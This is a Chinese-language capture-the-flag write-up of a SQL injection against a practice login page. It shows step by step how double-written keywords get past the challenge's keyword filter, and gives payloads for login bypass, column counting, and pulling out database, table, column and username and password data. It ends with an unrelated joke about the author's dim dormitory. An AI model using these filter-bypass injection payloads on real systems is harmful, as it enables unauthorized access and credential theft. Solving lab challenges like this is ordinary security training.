打开靶机,
还是这个熟悉的页面。他说这次进行了严格的过滤。我们就试试看吧。先试一下万能密码。
OK,报错了。仔细观察可以发现 or 是被过滤掉了。那我们就尝试双写绕过。用户名填1’oorr 1=1#;密码填1.
我们再用双写绕过来查列数。
用户名:1‘uniunionon selselectect 1,2,3#
密码:1
好,他说我们的用户名是错的,证明至少有三列。我们再测测有没有地四列。在刚才的用户名3后面再加一个4就行了。
好的报错了。那就证明只有三列。然后我们爆库名。
用户名:1‘uniunionon selselectect 1,2,database()#
密码:1
我们再爆表名。经过多轮测试,发现from,where,information都被过滤了。还得使用局部双写绕过(被过滤出使用双写)。
用户名:1’ uniunionon selselectect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables whwhereere table_schema=database()#
密码:1
然后我们爆字段。该双写的地方还是得双写。
用户名:1’ uniunionon selselectect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name=‘b4bsql’#
密码:1
好,我们接着爆数据。
用户名:1’ uniunionon selselectect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql#
密码:1
好。出来了。
给大家介绍一下,这是我们宿舍下午三点时的样子。当我知道下午三点宿舍天还黑着的时候,我就知道来对宿舍了。